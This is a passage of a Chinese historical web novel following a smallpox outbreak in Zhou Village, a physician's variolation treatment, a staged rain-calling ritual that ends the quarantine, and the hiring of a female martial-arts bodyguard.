喂过药后,林嫂看着自己那生病身体都浮肿了的丈夫哭泣,哭了会又抹了眼泪笑拉过一旁的花嫂说道:“你看他,这几日天天哼哼的难受,今日倒是睡得安稳了不少。”
花嫂回头道:“是啊,我家这口子,平日里也叫喊着身上痒,要挠,今日他说觉得舒畅了许多。”
林嫂笑着望着花嫂:“不愧是徐神医,今日才来一日,就好了这许多了。”
吃过药后一个时辰,秋水给那些发热的病患探温:“徐师父,除了这两人其余人都退了热了。”
徐神医也给他两探了温后说道:“你在此看着,他们还会有何状况,我去小炉上在为他两熬两幅药。”
又过了一个时辰,徐医师给他两喂了药后,这两便退热了。
忙完这些后,秋水给祁多儿写信说明今日周家村的情况,又在信中笑道:“从前认为我师父是个怪人,这徐师父比师父更是怪。他竟为自己的药取名叫黄连有浊安神方。”
44. 口食黄连心有浊(二)
祁多儿拿着许秋水寄出的信件呢喃道:“黄连有浊安神方。”
这是何药名?怎感觉有些怪异。
楚云照见祁多儿拿着秋水的信件来回踱步,又呢喃得念着什么,便将手中案卷放下:“师妹怎如此心绪不宁,是秋水信件所说何事让你如此?”
祁多儿将信递与楚云照:“这口食黄连有浊安神方我觉有些不妥,但不知是何缘故。”
楚云照将信件看了一番,指向那“黄连有浊安神方”:“药方取名一般是以其中几位药物再加以药效而命名。这黄连有浊貌似只是为对那黄连上清药方。”
楚云照又细看了一番:“秋水以为徐医师在逗她,可徐医师已说明了,这给最重病的人吃得不过一安神方。”
祁多儿叹了一口气道:“徐医师如此,岂不罪孽。”
楚云照道:“若不是罪孽,也不会不许秋水沾染那些药物了。”
徐医师医者仁心,既要救得生人,又要将其罪孽揽于一人。
祁多儿思索一番道:“既已一同入局,岂有清白之人。”
楚云照点头道:“事已至此,你我也只可做此帮凶了。”
楚云照道:“你给秋水回信写上,这些信件需做留存,她寄出的信并非原件,只是驻守的人口述抄写的。今后寄信只需写出患病人数,与他们的病症情况。其他不必多言。你与她的私话,就等至她回来再说。还有这黄连有浊安神方颇不吉利,我为其改名为莲心顺气千金方。”
楚云照将秋水原先的信件用房中火烛点了:“你将此信再写一次,只记录周家村中的患病情况与服用药方,而后批注一句原信件丢失,莲心顺气千金方原称黄连有浊安神方。”
祁多儿走向书案,按楚云照的要求写了两封信件后递与楚云照:“如此可好?”
天下之事真只能如此吗?徐医师这般要与阎王争命之人也需得欺人姓命。神医都有不可救之人,凡人又用何已救世?遥想自盘古开天,仓颉造字以来,政权交接,朝代交替。只见这世道改头却无换面之势。
楚云照接过信件,仔细看了一番:“字迹秀美而不失力度,甚好。”
三天后,在祠堂帮忙照顾病人的那几位,虽是天天头带面罩,吃饭喝水都需出到祠堂外才可。但任是未能完全防住,桥柯姐成了几人中第一个染病的人。
桥柯姐本在收晾在外的被褥,就开始觉得有些头晕,一时间天旋地转。林嫂见她走得踉跄便走过去扶她。
林嫂搀住桥柯姐问道:“妹子,你这是怎么了?”
桥柯姐答道:“觉得头也昏,一下子没站得稳。”
林嫂伸手探了一下桥柯姐的额头说道:“你这额头滚烫,怕是沾染了病了,你快随我去找秋水妹子与徐神医。”
林嫂扶着桥柯姐走至内堂,唤来徐医师与秋水。而后不到一个时辰,桥柯姐的身上就觉得皮肤瘙痒,手上身上都发了不少黄豆大小的水泡。
徐医师看过桥柯姐后说道:“应是染上病了,等会取了药给她服下。你们再将她的指甲剪了再用棉布裹上,莫让她挠破了。”
桥柯姐拉着徐医师说道:“可否将我与我的夫君安置在一起?”
徐医师将桥柯姐的手推开,并未说话便走了出去。
林嫂叹了口气看着桥柯姐说道:“这许多病患,怎能允你。能有人愿救治我们就好,不可再奢求什么了。”
桥柯姐听此便也不说话了。
秋水在院子里支起一个了小炉为桥柯姐煎药:“徐师父,桥柯姐若是能好,是不是其他人也都有救了。”
徐医师楞神片刻望向秋水:“轻声些,你为何如此说?”
秋水给煎药扇着煎药的炉子:“我见你取了那结了痂的水痘,你那日所给的药粉又有几分腥臭气,我便知道了。”
徐医师点头道:“那我便不瞒你了,既然此病症得一次便不会再有。那我们便试试用小剂量先行染病一番。”
秋水问道:“若是不成功呢?”
徐医师道:“天下岂有事事皆成之理?”
秋水不言,天下无事事皆成之理。可成事需用他人性命所换,难道成事之功则可抵夺人性命之过?
徐医师见秋水不回话,继续道:“性命之重不可量也,救人之功不高于泰山,伤人之过亦不低于泰山,两者不可相抵。是是是,非是非。”
许秋水心中一惊,手中扇子不小心掉于地上,捡起扇子后:“徐师父,你怎知?”
徐医师笑道:“你今日之所思,余小时也常问,你今后遇见此种难题,也不必多思。安心得其救人之功,心安受其伤人之罚即可。若不能,那便两眼一闭,事事就当不知也可。”
许秋水思考一番后道:“多谢徐师父,秋水明白了。”
徐医师点头道:“明白好,比不明白好。”
又过了三日,桥柯姐已经痊愈。她好的快,疾病也来得迅猛。一般人先是发烧几日,再是起疹子两日在化水泡。而她一日便开始起水泡了,第二日却又结痂了,不过三日便好了。实在是稀奇。
柳嫂仔细得看着桥柯姐:“你这病来得急,也去得快,想必是那日我们初来许神医给的药粉有奇效。”
桥柯姐拉着柳嫂的手喊道:“都说这天花会让人眼瞎耳聋,脸上长满麻子。我现是耳明目清,你快看看我长没长麻子,脸上留没留疤?”
柳嫂大笑:“你看你,成了家了。怎还如此担心你的样貌。”
桥柯姐听了柳嫂的话,脸一下红了起来。花嫂在一旁取了铜镜来:“妹子才是新婚,对样貌上心些,自是平常。你快些照照疤,我看你这躺了这几日,这脸蛋到是比前几日更要水灵了。”
桥柯姐接过铜镜确又不敢看,花嫂笑道:“怕什么?快看看吧。”
桥柯姐鼓起了勇气才睁开眼睛,仔细照了一番后:“柳嫂、花嫂,你说我是不是死了,现在在做梦呢?”
花嫂连忙呸了几声:“你可莫要说这不吉利的话,你这刚好先休息一番。”
一旁得病人见桥柯姐真的痊愈了,都也乐呵呵得笑了起来。外堂得男子听见内堂的女子得笑声便向门口护卫问道:“内堂是有何喜事。”
护卫向里问去,一路传回:“周贵丰家的娘子痊愈了。”
屋中人也一同高呼:“周贵丰家的娘子痊愈了,我们有救了。”
周贵丰听了此话,一时怀疑是不是自己听错了,不敢回应直到声旁那位喊他:“周贵丰,你家娘子痊愈了,你怎得还如此呆愣。”
周贵丰愣道:“真是
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我家娘子吗?”
那人喝道:“哪还有别的周贵丰,还是你有别的娘子。”
周贵丰听了此话才乐呵呵笑了起来:“真是我娘子,太好了。”
又有一人出声道:“这些日子就看又有人得病了,我们这都要放不下了。终于是见到有人好了。”
“是啊,终于是有人好了。”
“终于是有人好了,你这人怎么不出声呢,你听见没?有人好了。”
“这也有一个不出声的。”
“快,快喊徐神医来。这人没鼻息了。”
几人叫唤后,一时间喜悦的气氛又被悲伤的情境淹没。谁也不知等待自己的是痊愈还是死亡。
进村六日后,迎来了第一位痊愈之人,未留下任何伤残。众人皆大喜,欢呼之间确又发觉有三位男子已无气息,两位四十左右成年男子,还有一位六岁孩童。外堂男子居处众人皆沉默,内堂有几位女子甚是慌乱。想要去看是否是自己夫君或是孩儿。
两县选来的护卫将燥乱的人拦了下来,一时哭喊声不绝。好些人聚于门口呼唤自己亲人的名字,询问是否安在,听得回应那些女子才回去休息。
待到查明身份,有两名男子为父子关系,母亲难产早逝。已无其他亲人,周家村人将这两人与那母亲葬于一处,使一家团聚。
还有一男子为林嫂之夫,林嫂陪同村中人将夫君安葬好后,也病倒。一直无言,只到吃药与吃饭之时才有一些反应。
此日过后,徐医师给全村老少分发了药粉,说是若是吸食了此药粉,如果感染可不治病不留残疾与疤痕。因有桥柯姐这样的例子,村中人士都争先恐后的前来取药吃药。
又过了过十余天,林嫂好转后,便一直忙着给其他人煎药喂药。此时村中已有四分之三人士都已染上天花,先前群众还有些人对天花患者避之不及,多日下来,大家已是稀疏平常。
进村一月后,死者已达十六人,但痊愈着已有八十九人。如今感染者已大数生死之忧,但死者家属则更为悲痛。
有一失独老妇抱者她儿子的尸体哭喊着:“怎么他们都活了,活得好好的。怎么就你死了,我这辈子没有做过孽啊,老天对我不公啊。”
一旁无人敢拦,也不敢上前劝阻,只待那老妇哭到累了,无力了,村中才有几人出来将老妇扶回家中。而后几个青壮小伙才去将那死者埋葬。
进村三月后,村中已尽数感染疾病。因病致死者二十七人,眼瞎耳聋者十六人,脸部留瘢痕者十二人。此已是奇迹,但伤残者之心无药可治。
进村四月第七日,村中疾病已全清,但应家中有人去世而自杀者有四人,因眼瞎耳聋自杀着七人,因面部瘢痕自杀者一人。共计亡者三十九人。印象至深,林嫂自病愈后,一心忙碌于煎药晾晒,平日玩笑言语如初见之时。可却在前日未有病患后发问:“是不是都好了。”待听见回话:“村中之人都已病愈过了,今后不会再犯。”后独自归家了。今日寻她闲聊几句,才发现她已去了。
祁多儿看完秋水写的札记,看向楚云照:“周家村外,可将看守的撤了否?”
楚云照长叹:“两县县令还在定夺,需要再等。”
祁多儿向楚云照行礼:“我有一计,但需师哥相助。”
45. 口食黄连心有浊(三)
楚云照问道:“有何计谋?”
祁多儿道:“两县县令皆不愿担其责,也不愿分其功。我们若说周家村中人皆已康复,两县县令不愿对方抢其功,必然以传染外村人为由,拖延开村时间。直到此事被人淡忘,两县不愿再派人去往周家村为止。可若由得他们如此胡来,周家村人今年过冬是一大难事,今后出来了遭人歧视排挤又是另一大难事。”
祁多儿道:“求两县县令难以成事,但我们可以请神一助。”
楚云照不解问道:“请神?”
虽知祁多儿博学,对杂艺颇为精通,但请神之事还是骇人听闻。
祁多儿道:“周家村为两峡之间,树林繁茂。伐其两侧杂木,清出隔火道。燃其大火,引雨驱邪。秋水在村中与村民敲鼓祈神,我于村外,建七星坛舞剑祈神。”
楚云照思索一番说道:“此法算妙,可若不行如何?”
此法甚险,若成可被有心人说是巫蛊乱世,若不成则是愚弄百姓。实在乃一险棋,但却只有此法可使县令放人,也只有此法才能使周家村人之后在外不必受其排斥。
祁多儿道:“此事我也只有七成把握,此事成则可顺势让周家村旁士兵撤退,若不成则只能按原先计划拖上半年。”
祁多儿道:“要办此事显得办妥三件大事,一以请神之事向两县富商募捐,二将筹款中六成为周家村人制冬衣,三请神之日需得请两县县令以及两县有名望之人与附近一些村民前来观礼。”
楚云照道:“这第二件事到是不难,这一三倒是有些难度。”
祁多儿看着楚云照摇头笑了一下。
楚云照问道:“看你如此神情,莫非是已胸有成竹?”
祁多儿道:“这第一件事么,则是我这有一宝。可供向富商募捐所用,老师姚言礼姚大学士赠我的亲笔字画,明州知府明年期满则要去往京师任职了,有此字画可又一机会向老师讨教。”
楚云照皱眉道:“可这明州知府郑怀义虽无宗室相扶,又无朝中之人相助,但其为官清廉刚正不阿,必定不屑于此。”
祁多儿道:“明州知府不屑于此,我们这两位县令可不是。”
明州知府升迁,这明州知府之位可是不少人在等着了。
楚云照道:“原是抛转引玉。此计甚好,可仅有一物,怎募捐足额?”
祁多儿道:“而后再请两位县令捐赠一物,其他则需要参会之人提供了。只说此会是要募捐给周家村以及今后疫病所用,两县县令皆会参与。只可许百位商人来此,优先但不限于两县商户。凭捐赠之物价值排名获取参与资格。所拍卖之物以二八分成,二成回馈给捐赠者,八成记捐赠者之名以表朝廷。”
生意往来都是人情,我们在此为他们搭台了,几人要上场争霸就不知了。
楚云照笑道:“这一已解,三倒是就不难了。”
募捐之事诱两位县令入局,请神之台两位县令便不得不去镇守了。
祁多儿道:“两位县令需得你去游说了,那商户也需派人在街市宣扬一番。我这几日去安排募捐的酒楼,做冬衣的制衣店,还有周家村内外得布置。”
楚云照道:“必不让你之计落空。”
七日后。
酒云楼内,参于募捐着高达千余商户,但不敢将此事扩大,只取了两县之内的九十商户,以及外县名气较大的十家商户。所捐之物价值连城,不乏上乘的珠宝翡翠与名家字画,最后募捐所得高达五十万两白银。
两县县衙官员各给了十万两白银做奖赏分配,二十万两交余朝廷。周家村为制秋冬新衣,新被发抚恤金,外加伐木建造村内村外神坛才话费不到两千两。其余银子则充入奉化慈溪银库。
周家村内,秋水与徐医师让周大勇寻二十人靠谱的后生,挨家挨户去将村中病中穿过或是沾染了的旧衣棉被都收购后焚烧,再发其新衣新被褥。
又教其如何将家中病气杀灭,食用的器皿用烧水煮过。家中物品用烈酒擦拭。再用徐医师所配制的雄黄炮点燃后使其烟雾熏到整个屋子。
一时间周家村内弥漫着雄黄炮的黄烟与燃烧衣服被褥黑烟,黄烟与黑烟随着火光一同汇入云中成了红色的晚霞。周家村人都因雄黄烟雾辣眼,被熏出门外。几户之间都有几人在笑着闲聊着。有些顽劣的小孩,父母给其洗过澡后又怕这街外的火燎着了新衣,又觉反正都是火堆,不怕着凉。便就让其光着屁股在外玩耍了。
此情此景好不惬意,村名聊到:“今天热闹到是更胜过年了。”
另外一村民笑道:“我看今年过年要比今日更胜。”
待到日落,屋中黄烟散去,屋外衣服烧尽,扫了余灰。天也凉了,孩子又都被赶回了家,屋外又是干干净净。
三日后。
周家村内外天气晴好,风高气爽。虽是有云,但不足以遮蔽日月。
周家村内建一竹木高台,层高三尺,台上摆着三口大鼓,秋水居中位,身穿白色道衣,头带青玉莲花冠,手持鼓槌,向南而立。身旁站着两位周家村中最为富有的两家送来的后生。
周家村外,周家村外围绕的树木砍伐的干净,清出村内村外两条防火道。砍下的木头摆放整齐,浇上燃油。
以村后山尖为址,令军士取东西南北四方水土混合筑坛。两旁立观景高台,请两县县令各居其一主位而坐,身旁请了些县中有名望之人站于一旁观看。楚云照陪于奉化县县令身旁,甄二虎陪于慈溪县令身旁。观景台下还有百来名前来看热闹的村民,特命将士不许驱赶,只可阻拦限其距离。
中为主坛,方圆二十四丈,每一层高三尺,共是九尺。下两层每层使男女各一人左右而立,最上一层先使八位男子向八方而立,手执长竿,竿尖上用鸡羽为葆,以招风信。
主坛之下,还有八位女子列队而站,也是手持长竿,竿尖上用系鲤鱼旗,以招雨来。
祁多儿头戴莲花冠,身穿青色道袍,手拿金杆莲花拂尘,缓步登台,在第三层中向南而立,与许秋水成相对只势。舞扶尘,命将士,求天灵。
祁多儿挥扶尘令村外将士点染木材,待下方木材染起,烟雾上升,祁多儿高呼:“天之广广,地之辽辽,赠我真火,吐秽除氛。”
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祁多儿声旁童子也一同高呼:“天之广广,地之辽辽,赠我真火,吐秽除氛。”
见村外烟起,秋水挥鼓起第一音后不动,而后两位后生,都跟着敲了一响。每过一刻,秋水则击响一鼓。
祁多儿此处着每呼其一声后,以西南方为首,南方为尾,八个方位各行一礼。行礼后又于中心面朝西南休息一刻钟。
过去一个时辰后,场外众人虽都等得心急,可见云越聚越多,蓝白色的天空逐渐暗沉了起来。
见天色渐暗,祁多儿于七星台上高呼:“天之广广,地之辽辽,赐我净水,驱邪去灾。”
面朝八方的持长鸡羽干竿的男子由东南方始,南方尾,依次下台成纵队而立。持鲤鱼长竿女子上台,以南方为首,东南方为尾依次上台。待到都已入位,其声同呼:“天之广广,地之辽辽,赠我净水,驱邪去灾。”
祁多儿任是每呼其一声后,以西南方为首,南方为尾,八个方位各行一礼。行礼后又于中心面朝西南休息一刻钟。
又过了半个时辰,只见乌云聚集,不见片雨滴下。围观众人也已焦急烦躁起来,村外木材也快燃尽。
村内击鼓的后生已不如之前有力,秋水虽面色不变,但心中也是焦急。
祁多儿心中慌乱,巡向八方之时见木柴将要燃尽,观其天觉云有要散开之相。回于中位坐下后,便取其莲花冠上发簪,用力将左手手心划开后,将发簪抛开,右手拿起拂尘,用左手血液将其染红后,用拂尘指天高呼:“以我之寿元,求之以甘霖,驱其之病邪。”
一瞬间,天下将下青紫双色两道闪电。
听得此声后,祁多儿闭眼以求苍天,心中默念到“今日我祁多儿已命祈求苍天,愿用十年性命换今日一场大雨。”
片刻,祁多儿觉得听见了雨声,却未感到雨滴,心中慌乱至极。又听得围观者也开始高呼:“下雨了,下雨了。怎只有周家村处下了。”
另外有一村名呵道:“这是为周家村驱邪求的雨,当然只落周家村。快跪下,神仙有灵。”
雨越下越大,秋水的鼓声也是越来越急促,本觉的疲了的打鼓后生见此大雨,一下子精神了起来,与秋水一同击打着鼓。
村中村民喜急,先是几位老者跪于台下,而后村中众人皆跪于雨中。村外平民见此神迹,亦高呼:“神仙显灵。”而后跪于台下。台上富商名望见此情景心中呆愣也随之一同跪下。
奉化县令正欲要跪下之时被楚云照拦下说道:“祁儒人求之乃是地方神仙,大人是本地父母官,你与他乃是同级,无需下跪。莫要使其羞愧而逃了。”
慈溪县令处也使甄二虎备了同等说辞,可那慈溪县令更是呆愣,倒是一直未反应过来便未用上。
雨落了一刻钟,村内村外百姓便跪了一刻钟。
一刻钟雨停后,天气瞬间晴朗。众人皆呼神迹。片刻后两位县令于主坛之上宣告撤下周家村内外看守。村名争相奔走宣告今日之见闻。后被传言,祁儒人是个神人,竟然召唤了两条长有一里的青色真龙与紫色真龙为周家村驱邪避灾,降雨施福。
46. 知其所求解其忧
“昭儿,舞累了就歇歇吧。”
“爹,我还不累。”
“你看你把闺女养的肩宽背阔的,像什么样子。还是那张家的姑娘,那细柳腰,芙蓉面的那才好看呢。”
“那张家养蜂的,他的闺女长得跟蜜似得,理所当然。我这武行的闺女也是那娇娃娃,岂不是要被人笑话。”
“娘,爹说得有理啊。”
“就你爷两歪理多。”
“你快看我闺女这鞭,动如游龙,出击如闪电,实在是漂亮。”
“看地我甚觉头疼。”
“我看贵千金这鞭,舞得也一般。”甄二龙出言笑道。
自周家村祈雨以来,为见祁多儿一面者络绎不绝。楚云照担心祁多儿安全便让甄二龙与江学文到福运武馆再聘一个护卫。刚至武馆,听见武馆中人谈话,又见武馆千金舞鞭动作利落,便出言想再试上一番。
马昭昭收了鞭,一脸不屑地望着甄二虎。心想这是哪里来的泼皮,竟敢来我福运武馆找茬。
武馆馆主夫人听甄二龙说话,呵斥道:“你这后生,怎如此无礼。”
武馆馆主一脸不屑,抓起面前一把花生,掷向马昭昭:“闺女,给他看看你的绝活。”
马昭昭将鞭一挥,将投掷出地花生个个击得粉碎。
甄二虎嗤笑一声:“雕虫小技。”
甄二虎也取了一把花生,向空中一抛。而后取出剑来,挥舞一番。抛出地花生无一粒落地,皆落于甄二虎的剑上。他拿剑向武馆中人展示了一番,才将花生拂于地上,擦拭后便把剑收入鞘。
武馆馆主面色一惊,后侧了进步向甄二虎行礼道:“英雄此来,是欲要讨教,还是砸场子?”
甄二虎挠着后脑勺,面色轻佻地说道:“让你女儿与我过两招,我便告诉你。”
武馆馆主夫人颇是不满:“你这后生,我武馆这么多徒弟,你非要欺负我女儿是为何?”
武馆馆主拉住老板娘说道:“还请英雄点到为止。”
这后生虽是狂妄了些,但不似蛮不讲理之人,今日来此必是有事。让他与昭儿过几招也无妨,也好让昭昭今后收敛一些。
马昭昭哼了一声:“你这无赖,有几分本事,今天姑奶奶我就和你分一分高下。”
甄二虎拿着佩剑说道:“你若让我拔出剑了,便算我输了。”
马昭昭手持七尺黑色麒麟鞭,使出一记青龙转身向甄二虎劈去。甄二虎一个右撤步躲闪开来。
老板娘担忧的看着:“她莫伤者自己,这人是何底细你我皆不明,你怎放心让昭儿出手。”
武馆馆主摇头道:“你看那后生只闪躲,不出招。只有昭儿出招不够利落之时,那后生才又学着昭儿的动作使那一剑。这后生与其是切磋不如说是教学。”
两人往来数十回合,马昭昭发觉甄二虎出招皆学自己,心中更是气恼。见自己鞭法未占上风,便用鞭子缠住一旁的椅子向甄二虎砸去。
甄二虎也不恼也不急,继续躲闪着。
老板娘眼中更是担忧:“哎呦,这怎还拿起东西,砸伤了人砸坏了东西都不好。”
老板笑道:“无事,只要昭儿莫伤了自己就好。这东西砸坏了,我们找那后生赔便是了。”
昭儿平日里眼高于顶,除了又两位徒弟与她能打得有所来回外,其他人都不如她。她也狂妄已久,吃些教训到也无妨。
马昭昭引鞭勾住一个马扎向甄二虎砸去,甄二虎向后一个跟头翻了过去。马昭昭见此时机,立马回力,将鞭勾住甄二虎的脚,拉着甄二虎的脚向一旁的柱子跃去。打算借力将甄二虎拉倒。
甄二虎未来得及避开,急忙抽出剑来将那鞭子一把斩断。马昭昭失了力在地上翻滚了好几个跟头。
马昭昭起身将身上尘土拍净后,哼了一声说道:“好武艺,我甘拜下风。”
甄二虎收剑向马昭昭行礼道:“我已拔剑,是我输了。这损坏物品,可由我赔偿。”
武馆馆主走了出来说道:“英雄武艺在下佩服,英雄可否告知前来是有何事,不应只是为和我这女儿打斗一番吧。”
甄二虎笑道:“我来此是有要事要求馆主,你可知奉化司法参军楚云照,还有其私人主溥祁儒人?”
馆主皱眉问道:“祁孺人可是那周家村唤龙祈雨之人。好像还是什么女状元?”
甄二虎点头道:“正是此人,她来奉化已久,此时风气太盛,需招一护卫同行。我看你女儿武艺甚好,可否愿为祁孺人的护卫?”
马昭昭本是三分气恼,四份羞愤还有四份不耐烦的脸色,听得此话一时间也喜悦了起来说道:“我可,久闻奉化来了才女仙子,能得见一面已是荣幸,何况久伴其身。”
馆主呵斥马昭昭道:“你这小孩怎得急躁,小女不过一点强身健体的把戏,实在是不堪大任。”
这为官贪婪者,心肠黑,不可交,怕被其谋害。这为官清廉者那更是不可交,莫一生没尝到其甜头,白白被其连累致死。
甄二虎道:“馆主可先随我去楚府一番,与楚参军还有祁儒人交谈一番,再做打算也不迟。若是不愿,也可成了贵千金见祁儒人之心。”
馆主望见马昭昭期待的眼神,便也不好拒绝。又想只是去去也无事,到时再拒绝就好:“那便随英雄安排就好,不知英雄姓名?”
甄二虎答道:“在下甄二虎,此是皂班捕快江学文江捕头。你们在此等候片刻,我与江捕头前去寻辆马车。”
甄二虎与江学文出了门,又去酒楼租了辆马车去福运武馆后,甄二虎向江学文说道:“你与楚参军说,我寻到的是个武艺高强的女子。还将我们今日刚到时听见的那番言语传达给祁儒人。”
江学文虽是不解,但也骑上了快马往楚府而去。按甄二虎所说传达给了楚云照与祁多儿。
甄二虎赶着马车到了楚府,楚云照与祁多儿在外相迎。
祁多儿看向马昭昭,身穿褐色圆领袍,头发用一发带束起,腰间挂上一根麒麟鞭。心道:“好一个朝气的女子,如山间小鹿,灵动矫健。”
马昭昭打量了一番祁儒人,心想:“果不然称为才女仙子,一脸慈悲相,一席白衣似观音。”
楚云照向三位行礼道:“马馆主,马夫人,马
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娘子,先请进来。”
待他们进来后,楚云照带她们参观了一番楚府后说道:“马夫人你与马娘子先与祁儒人去她院中看看。马馆主你与我在去后院饮茶可否。”
马夫人看向马馆主,马馆主向马夫人点头道:“那便听楚参军一言罢。”
马馆主见马昭昭与祁多儿相谈甚欢,便觉得马昭昭来此不算坏事。武馆都是些泥巴做的汉子臭得很,这祁儒人与楚云照此等谈吐若能让马昭昭沾染一些,也是不枉来此一番。
马夫人对祁多儿更是喜欢,又听闻祁多儿曾是绣坊学徒更是高兴:“你看着才女仙子都会些刺绣,你却避之不及。”
祁多儿答道:“这刺绣是穿针引线之力,摆弄经纬之道。马娘子所学鞭法乃收放之力,行纵横之击。刺绣与鞭法虽看似风牛马不相及。但殊途同归矣。”
马夫人叹气道:“你说得这些我听不懂,我就想让她像人家姑娘一般。”
祁多儿笑道:“原是如此,那便与我来我刚为马娘子所准备方便,在我院中左厢房。已为其备好胭脂水粉。还有些鲜艳色的料子,待马娘子来后量体裁衣。”
马夫人随祁多儿前去参观了一番甚是满意,仔细摸那料子有匹翠绿的与粉色的乃是上等蚕丝。又觉祁多儿为马昭昭所备的房间雅致之极,不似武馆净是一些木头人偶与兵器刀具。
马夫人叹气道:“若是能让我女儿一直住于此处,我自是愿意的。可不知她爹是何想法。”
祁多儿听此话朝着马昭昭点头笑了一下说道:“夫人爱女之心,我已感知。马馆主虽不知对此如何决断,但爱女之心与夫人应是一般。”
马夫人叹气一声:“我与她就此一女,若是她今后真来此,还望祁儒人照料她。”
祁多儿点头道:“我也甚是喜欢马娘子,若她来此,我必好好照顾。”
几人聊了一番后,待到襄姨请祁多儿几人去前厅。马馆主就与夫人说:“夫人,你与我先回去,为昭儿收拾东西。今日昭儿便留此了。”
马夫人不解道:“为何如此匆忙?明日再来不可吗?”
楚云照笑道:“自是可以。”
马馆主道:“那明日我等收拾好东西,则让昭儿过来。”
楚云照看向甄二虎说道:“那先麻烦甄二哥,将马馆主先送回去了。”
甄二虎向马馆主行礼道:“马馆主请。”
甄二虎将马馆主一家人送至福运武馆门口向马昭昭说道:“今日斩断的长鞭,再过十四日,我便寻条新的与你。”
马昭昭笑道:“那便多谢了。”
祁多儿见马馆主一家都走了出去便向楚之求问道:“你是如何让他同意马昭昭留此的?”
楚云照笑道:“知其所求,允其所欲,绝其忧虑。”
祁多儿听此便不再多问了。
楚云照又说道:“今日我舅舅的书信已经寄来了,信中有两件大喜事。一件是那拐卖人口以及户籍替代之事的幕后主使已有眉目了。还有一事待秋水回来再一同说。”
祁多儿点头道:“拐卖人口以及户籍替代之事可是同伙人所为?”
47. 赌坊演戏捉贼人(一)
楚云照点头道:“在钱庄查证后,多次周转后,最后接手的是户部左曹侍郎夏廷钊。不过这人在上月初突发恶疾逝了。”
祁多儿思索一番说道:“此位既已去了,那今后是谁代替。”
楚云照道:“此时事务由郎中欧昀觉掌管。目前有三位候选,中书侍郎推荐的淮南东路仓司江九铉,太子推选则是明州知府郑怀义。还有以胆小怕事又不务正业出名的安王此次也推举了一人,是无官无职颇多风韵事的柳昌河。”
祁多儿心想,这淮南路东路仓司确到了该升迁的时候,明州知府久闻为官清廉,不爱与他人走动。太子也不是爱才之人,怎为他举荐。安王办事尚来如此,越是奇怪到不显奇怪。
祁多儿问道:“这明州知府与太子是因何牵线?与这案子是否有所关系?”
楚云照道:“未有确实证据。不过听说赌坊会有人口交易,但非有人引荐不能进去。”
祁多儿思索一番道:“我们若是找不到他,便让给他们机会来寻我们。”
楚云照点头道:“你又有何计谋?”
祁多儿向楚云照笑着说道:“我们去赌场青楼去演几场男要寻欢,女不容的戏码。”
楚云照道:“愿闻其详。”
祁多儿将计划仔细说于楚云照听后,楚云照思索一番说道:“我可与马昭昭可用此法,她有武艺在身,我为男子也无事。你若是被不怀好意者盯上了,太过危险。”
祁多儿摇头道:“此等地方未尝无官府中人出入,我与甄二哥尚可装扮一番掩人耳目。但你太过扎眼,实在不可。”
楚云照甚觉不妥,摇头道:“我知你想有所建树,但凡事不可操之过急。你于周家村祈雨之事已上表朝廷了,圣上得此必对你有所奖赏。”
祁多儿拿起那叠京师来的信,笑着看着楚云照:“若是郑怀义真当上这户部左曹侍郎,这些就不过是一些废纸了。即使是今后还有扳倒他的机会,是要等十年还是二十年,你我都说不准。”
天下给我之机会并不算多,我不敢不赌。
楚云照未将此事应下,叹了一声说道:“若你是男子,你这样的魄力与智谋,可居宰相之位。”
祁多儿低头一笑又抬眸看向楚云照:“天下男子就是以智谋魄力排名了吗?若真是如此,屈原怎投了汨罗江,岳飞又怎被拉肋而死?”
祁多儿心中也曾思考过,若自己是男子,定要做那流芳百世的圣贤。可一路走来,却又不屑于这番想法了。只觉可笑又不甘,此等成就,凭何要成男子才可为。
楚云照向祁多儿行礼致歉道:“是我失言了。”
祁多儿点头笑道:“不必如此,我知你是无心的,我也并不在意。这天下也并非只有男女之别,还有富有贫困之别、显贵卑微之别。”
祁多儿道:“女人不低于男人也正同于,贫困之人未必人品低劣于富有之人,卑微之人未必比显贵之人见识短浅。不过只是因为人性有种卑劣的快感是高人一等罢了。”
楚云照长疏了一口气,心中甚觉惭愧:“受教了。”
我常听见如意姨此等潇洒肆意的女子感叹,若自己是一男子必要上阵杀敌,保家卫国。也常看见舅妈,早年间做生意之时,因是女子,总招惹上一些麻烦。便就理所应当的认为,优秀的女子心中便都是想要成为男子的此般愚蠢的想法,今日被祁师妹一点才明了,男子也不过如此罢了。
祁多儿见楚云照面色些许难堪,便出声安慰道:“师哥不必觉得有所冒犯,这种小事不必多思。我们先看这请君入瓮之计是否可以。”
楚云照点头道:“按你所言也可,但不可你一人而行,需让马昭昭与你同行。待秋水回来了再向她讨一些防身的毒药。”
楚云照还是不愿让她以身犯险,但话如今已说到这份上了,也是无转圜的余地了。本想夸赞一番祁多儿,再让其打消这个念头,没想到却让自己无法不答应她的想法了。
两人商议一番具体的行动,又思考了一番有何意外如何应对。打算明日待到马昭昭来此再与其商议一番。安排好此事,天已是半黑了,秋水也回来了。
见秋水回来了,祁多儿便上前接过她的药箱,放于一旁。
秋水洗漱过后说道:“今日算是知道,这疽发于背是何摸样了。”
祁多儿脸色微皱问道:“今日遇见得此病者?”
秋水点头道:“见一老者,背上热疮胜过他头的大小。徐医师将其中脓水挤出足足有一盆之多。又用温酒洗其伤口足足用了两坛。那安神汤药效刚退,那老者嚎叫声便如初生婴孩了。”
秋水啧了几声又继续说道:“前几日见过那浑身小疮的,让我与徐师父忙活一下午,才为其清理干净。我以为那已是难得的病症了。没曾想还有更甚者。”
祁多儿为自己倒了一杯水喝了:“可巧我在你回来前,先吃了些东西。莫不是如此,这胃”
秋水讪讪笑道:“是我不该。”
祁多儿叹了口气说道:“明日会来一位武行的女子,以代替甄大哥的护卫之位。你明日莫要吓着她了就是。”
秋水思索一番说道:“这怎会?武行的女子定是胸襟广阔,临危不惧之人。此等小事怎会吓到她。”
祁多儿摇头无奈说道:“倒也又几分道理,不管如何,多听几次便也坦然了。”
甄二虎听此也是无奈笑道:“这常听些疑难杂症,我这几日但凡有些身体不适,便想要去药房开药了。”
秋水向甄二虎撇了一眼:“你若是怀疑你有病症,我可为你开药。”
甄二虎啧了一声:“你都不先问我何病症,直接就是开药,属实吓人。”
祁多儿望着秋水笑道:“你看你,心急了吧。一下就露馅了。”
楚云照轻咳了一声:“既然秋水也回来了,那我便与你们一同说罢。”
秋水问道:“何事?”
楚云照狡黠一笑:“一是茯苓姐姐有孕了,还是双生子。二是,虽是还未到春节,但已有多处将元宵的请帖送去绣坊了,舅妈问你两可要回去玩玩?”
